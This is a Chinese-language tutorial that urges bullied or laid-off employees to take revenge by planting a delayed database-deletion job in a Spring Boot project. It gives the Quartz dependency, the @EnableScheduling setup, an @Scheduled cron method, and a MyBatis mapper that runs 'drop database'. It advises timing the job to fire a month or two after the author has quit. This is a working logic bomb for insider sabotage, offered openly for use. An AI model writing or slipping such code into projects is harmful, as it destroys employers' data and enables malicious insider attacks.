你被同事排挤吗?你被公司裁员了?在职还天天被骂?那就删库提桶跑路吧!
一个删库定时小妙招,测试可以测试一小时、一天甚至一星期,我们定他一个月、两个月的不怕卡工资时间未到他也不知道,等删的时候咱都卷铺盖走了。
美其名曰:君子报仇十年不晚。
注:本章皆在Springboot里操作,如要在ssm操作请自行配置,搜索spring和quartz整合。
1.定时器依赖
<!--引入定时器-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-quartz</artifactId>
</dependency>
2.启动类开启注解
@SpringBootApplication
@EnableScheduling //开启时间调度
public class 启动类{
public static void main(String[] args) {
SpringApplication.run(启动类.class, args);
}
}
3.cron表达式
百度搜索:cron表达式在线工具 随便找个如:
复制完到下一步
4.使用方法
加在方法上设置 @Scheduled(cron ="cron上面复制的格式")程序运行后即可开始计时。
@Scheduled(cron ="0/5 * * * * ? ") //使用注解cron为计时程序格式 每五秒执行一次
public void Time(){
SimpleDateFormat d = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date da = new Date(new Date().getTime());
System.out.println( d.format(da));
System.out.println(accountService.deleteDateBase()+"成功删库");
}
5.Mapper设置
sql语句:drop database 数据库名
<delete id="deleteDateBase">
drop database usersss
</delete>
6.执行结果
执行前数据库:usersss
执行后:
数据库没了而且可以看到,我的执行删库后打印的时间,比开始运行时多了五秒我设置的就是五秒证明有效。